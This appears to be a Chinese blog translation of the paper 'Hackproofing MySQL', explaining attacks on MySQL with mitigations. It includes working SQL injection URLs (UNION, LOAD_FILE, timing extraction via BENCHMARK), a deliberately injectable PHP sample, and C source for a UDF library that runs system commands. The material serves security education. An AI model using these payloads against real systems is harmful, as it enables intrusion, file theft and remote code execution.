zoukankan      html  css  js  c++  java
  • Hackproofing MySQL

    这是一篇很经典的论文,作者Chris Anley 是shellcode handbook的作者之一。我在写这篇文章的时候也参考了官方文档,这篇文章虽然已经满大街了,但是仔细读过还是学到了很多知识,有些地方限于技术和英文水平不能很好的理解,多有疏漏,请看官见谅。

    0x01 mysql介绍

    mysql号称是世界上最流行的开源数据库,它免费,而且跨平台,配置简单,而且在高负载工作时也能有很好的性能。相比其他的数据库,它的配置过于简单,由此大大挑战了mysql的安全性。本文介绍了mysql的常规攻击方法,使用者们可以防备这些攻击。(由于本文是2004年的文章,mysql已经更新到5.7版本,省略了版本介绍部分)

    0x02 网络中的mysql

    因为mysql 的免费,容易获得,很多个人电脑上都安装了mysql,不一定是专门的服务器。典型的配置里客户端通过TCP3306端口连接mysql,windows中则是通过命名管道(不推荐这种方式)。mysql默认两种都有。mysql使用的网络协议相对于其他的DBMS要简单,默认明文传输,4.0.0以上版本支持ssl。很容易检测出来一个主机使用的mysql版本,甚至也会返回操作系统的信息。端口扫描能泄漏很多主机的信息,管理员除了改源码也没有什么好办法。

    这样检测一下mysql是不是传输的加密数据(PS:如果是加密的也不意味着安全)
    shell>tcpdump -l -i eth0 -w - src or dst port 3306 | strings

    mysql大多数作为网页应用的后端,和Apache/PHP 网页应用一起作为web服务器。也有的作为日志服务器,IDS入侵探测记录或者其他的审计工作。在内部网络中的应用更加传统,桌面开发环境中总有mysql。

    鉴于历史上mysql是明文通信,通常用SSH加在密信道中端口转发连接3306端口。好处就是信息传输中被加密了,强行加了一道验证。
    要了解更多的安全配置还是看官方的推荐
    http://dev.mysql.com/doc/refman/5.7/en/security.html
    但是指南中通常建议将web服务器和mysql放在同一主机上,这样就可以禁止mysql的远程访问,但同时如果web服务器被攻击所有的数据库信息都会被窃取.SQL注入等漏洞也会导致攻击者修改数据库内容。虽然正确的权限管理会缓解一下情况,但是也应该时刻记住数据库和web服务器在同一个主机上给攻击者提供了很多便利。
    (因为都不是最新的漏洞了所以以下省略各种漏洞编号和简介)

    0x03mysql中的SQL注入

    即使安全社区多年不断的劝告和说教,SQL注入如今依然是个大问题,根本的原因是对用户输入没有充分过滤。
    php中'magic_quotes_rpc'选项控制PHP引擎是否自动转义单引号,双引号,反斜杠,NULL。

    $query = "SELECT * FROM user where user = '" . $_REQUEST['user'] . "'"; $query = "SELECT * FROM user order by " . $_REQUEST['user']; $query = "SELECT * FROM user where max_connections = " .$_REQUEST['user'];
    类似这样的语句,都存在SQL注入。
    如果没开启'magic_quotes_rpc' 安全性就会更差一点。

    接下来的问题是:黑客SQL注入攻击之后能干什么。
    一些危险操作列表

    • UNION SELECT
    • LOAD_FILE function
    • LOAD DATA INFILE statement
    • SELECT ... INTO OUTFILE statement
    • BENCHMARK function
    • User Defined Functions (UDFs)

    有个具体的实例可以更加形象的理解,以下有一段PHP代码(明显是虚构的只作为展示)

    <?php
    /* Connecting, selecting database */
    $link = mysql_connect("my_host", "root")
    or die("Could not connect : " . mysql_error());
    print "Connected successfully";
    mysql_select_db("mysql") or die("Could not select database");
    /* Performing SQL query */
    $query = "SELECT * FROM user where max_connections = " . $_REQUEST
    ['user'];
    print "<h3>Query: " . $query . "</h3>";
    $result = mysql_query($query) or die("Query failed : " .
    mysql_error());
    /* Printing results in HTML */
    print "<table>
    ";
    while ($line = mysql_fetch_array($result, MYSQL_ASSOC)) {
    print "	<tr>
    ";
    foreach ($line as $col_value) {
    print "		<td>$col_value</td>
    ";
    }
    print "	</tr>
    ";
    }
    print "</table>
    ";
    /* Free resultset */
    mysql_free_result($result);
    ?>
    /* Closing connection */
    
    联合查询UNION

    如今联合查询UNION已经成为了SQL注入攻击的重要分支。
    上面有一段代码像这样
    $query = "SELECT * FROM user where max_connections = " . $_REQUEST['user'];
    max_connection=0 表示root用户,如果我们请求这样的链接
    http://mysql.example.com/query.php?user=0
    得到user表的输出。

    如果我们想获得除user外其他有用的数据,UNION指令可以结合两次的查询结果,可以查询不同的表。既然UNION可以在WHERE子句之后,我们就可以选择任何的数据,有一些点需要注意。

    • 我们选择的指令返回的字段长度要和前一句一样(长度31如果你数了的话)
      +前后数据类型要匹配
      +如果我们的数据中包括文本,语句会被截断和第一句里一样长。

    如果我们想查询‘@@version’
    请求像这样
    http://mysql.examples.com/query.php?user=1+union+select+@@version,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1

    0x04 LOAD_FILE 函数

    LOAD_FILE函数用字符串形式返回了文件内容,例如在Windows下
    select load_file('c:/boot.ini');
    如果目标用PHP而且打开了魔术引号功能,那我们就不能用单引号了
    (原文说能够hex编码能够绕过,亲测不好用)
    因为这样只能显示前60个字符,用substring()解决问题
    http://mysql.example.com/query.php?user=1+union+select+substring(load_file (0x633a2f626f6f742e696e69),60), 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1

    LOAD DATA IN FILE

    如果SQL注入的环境允许攻击者注入复合语句,这就变成了一个严重的问题。
    通常这样利用

    load data infile 'c:/boot.ini' into table foo;
    select * from foo;```
    
    load data 一个危险的特性可能导致攻击者从客户端拿走文件(而不是服务端),这意味着从web服务器上就能读取文件,不用数据库服务器。
    这个问题已经在后面的版本中‘解决’了,需要检查配置客户端和服务端都需要同意才能启用这个功能,所以还要检查配置。
    ***
    PS:为了解决这个问题,LOAD DATA LOCAL 这样工作
    + 默认所有的mysql客户端和二进制文件编译的时候都用-DENABLED_LOCAL_INFILE=1 
    + 即使自己从源码编译的时候没有加上-DENABLED_LOCAL_INFILE=1 这一项,LOAD DATA LOCAL也不能被客户端调用,除非明确指出mysql_options(... MYSQL_OPT_LOCAL_INFILE , 0)
    + 服务端可以禁用所有的LOAD DATA LOCAL 命令 ,用--local-infile=0打开mysqld 
    + 对于命令行mysql客户端,--local-infile[=1]选项打开功能,--local-infile=0禁止。对于mysqlimport,默认是禁止的。可以用--local  -L 打开。
    无论怎样,想加载本地文件都需要服务端的同意。
    +如果你在Perl脚本中用了LOAD DATA LOCAL 或者其他程序在选项文件中读取了用户组,可以将这个组添加 local-infile 选项。或者为了避免麻烦,用loose-前缀
    `[client]
    loose-local-infile=1`
    + 如果LOAD DATA LOCAL被客户端或服务端禁止,客户端的错误消息
    `ERROR 1148 : The used command is not alleowed with this MySQL version`
    ***
    ####0x05 SELECT .. INTO OUTFILE
    这条语句为黑客指了一条控制mysql服务器的大道——创建一个不存在的配置文件。最近的版本中虽然不能修改存在的文件,但是可以创建一个新的。
    最好的例子是CAN-2003-0150,在3.23.55或更早的版本中可以覆盖my.cnf文件,配置MySQL以root用户重启。3.23.56修补了这个漏洞,但是通过确认’user‘设置 /etc/my.cnf 来覆盖 /datadir/my.cnf
    
    如果你想用SELECT..INTO OUTFILE创建一个二进制文件,特定的字母会被反斜杠转义,NULL用’‘替代。
    **SELECT ... INTO DUMPFILE**
    这条指令可以利用创建动态加载库,再包含一个恶意的UDF(自定义函数),然后用“CREATE FUNCTION”载入库,将函数链接到MySQL。
    这么说来,就是一个任意代码执行了。保证攻击的关键在于当MySQL加载动态库的时候攻击者要让它像要寻找的位置写入一个文件。它依赖于文件的权限和文件在系统的位置。
    
    ####0x06 时间延时和基准函数
    很多时候,web应用不返回任何的错误信息,他们都被有经验的开发者过滤了,给确认SQL注入漏洞带来了一些困难。
    这种情况下攻击者注入一个SQL延时语句,看请求的延时就更容易判断web应用的脆弱点。用条件语句和时间延时相结合能从数据中提取更多信息。
    
    MySQL中没有sleep和wait这种函数,可以用加密函数和benchmark替代。
    + ```select benchmark( 500000, sha1( 'test' ) );```
    计算sha1('test')500000次。在一个单核1.7GHz的机器上大约消耗五秒。
    请求URL
    `http://mysql.example.com/query.php?user=1+union+select+benchmark(500000,sha1
    (0x414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1`
    会让应用回应延迟10-15秒
    
    + 攻击者用这种方式来一步步探测信息,比如
    select if( user() like 'root@%', benchmark(100000,sha1('test')), 'false' );
    可以知道用户名是不是root
    + 下一步就是每次1bit的获取信息
    select if( (ascii(substring(user(),1,1)) >> 7) & 1, benchmark(100000,sha1('test')), 'false' );
    如果user()的第一bit是1 就延迟
    ***复合语句可以同时执行,所以这种方式不慢,也很可靠***
    
    #####0x07 User define functions
    MySQL提供了一个机制,默认函数可以自己扩展,通过定制动态加载库来使用UDF。
    'CREATE FUNCTION'命令和手动添加'mysql.func'中的条目都可以。
    库中的函数一定要在MySQL正常可获取的路径中。
    攻击者利用这种机制创建动态库,SELECT ... INTO DUMPFILE 将其写到合适的目录中,接着需要mysql.func的  'update','insert'的权限让MySQL加载库并执行函数。
    
    ***一个简单UDF库的例子***
    ```cpp
    #include <stdio.h>
    #include <stdlib.h>
    /*
    compile with something like
    gcc -g -c so_system.c
    then
    gcc -g -shared -W1,-soname,so_system.so.0 -o so_system.so.0.0 so_system.o -lc
    */
    enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};
    typedef struct st_udf_args
    {
    unsigned int arg_count;    /* Number of arguments */
    enum Item_result *arg_type;/* Pointer to item_results */
    char **args;                       /* Pointer to argument */
    unsigned long *lengths;    /* Length of string arguments */
    char *maybe_null;             /* Set to 1 for all maybe_null args */
    } UDF_ARGS;
    typedef struct st_udf_init
    {
    char maybe_null;                /* 1 if function can return NULL */
    unsigned int decimals;               /* for real functions */
    unsigned long max_length; /* For string functions */
    char *ptr;             /* free pointer for function data */
    char const_item; /* 0 if result is independent of arguments */
    } UDF_INIT;
    int do_system( UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
    {
    if( args->arg_count != 1 )
    return 0;
    system( args->args[0] );
    return 0;
    }
    

    将函数添加到MySQL
    mysql> create function do_system returns integer soname 'so_system.so'; Query OK, 0 rows affected (0.00 sec) mysql> select * from mysql.func; mysql> select do_system('ls > /tmp/test.txt');//这样调用

    即使攻击者没有权限在目标系统中创建库,利用一些已有的库也可以达到恶意目的。
    攻击的难点在于大多数的函数参数不容易匹配MySQL的UDF原型。
    int xxx( UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
    尽管更富有经验的黑客会用已有的库构造任意代码执行,但是所有的错误基本可控,利用的价值不大。

    但是还是可以用系统库做一些坏事,调用Windows的结束进程作为MySQL的UDF会立即结束MySQL,即使调用的用户没有'Shutdown_priv'

    mysql> create function ExitProcess returns integer soname 'kernel32'; Query OK, 0 rows affected (0.17 sec) mysql> select exitprocess(); ERROR 2013: Lost connection to MySQL server during query
    还可以锁住用户的工作站
    mysql> create function LockWorkStation returns integer soname 'user32'; Query OK, 0 rows affected (0.00 sec) mysql> select LockWorkStation();

    MySQL的UDF机制对开发者和黑客都同样灵活多变,富有价值。
    小心的控制好MySQL的权限,尤其是mysql.func 表,文件权限,限制使用'SELECT .. INTO FILE'。

  • 相关阅读:
    selenium+python环境搭建
    TCP/IP 常用协议
    爬虫之scrapy高级部分等相关内容-138
    爬虫之xpath和scrapy的基础使用等相关内容-137
    爬虫之打码平台(超级鹰)破解验证码等相关内容-136
    爬虫之bs4文档树和selenium的基础使用等相关内容-135
    RBAC、xadmin、django缓存、django信号等相关内容-91
    django-restframework-jwt多方式登录、自定义user表及签发token、book表单增删查改等相关内容-90
    爬虫之bs4模块的基础使用等相关内容-134
    django-restframework-jwt认证基础使用等相关内容-89
  • 原文地址:https://www.cnblogs.com/moonnight/p/5440745.html
Copyright © 2011-2022 走看看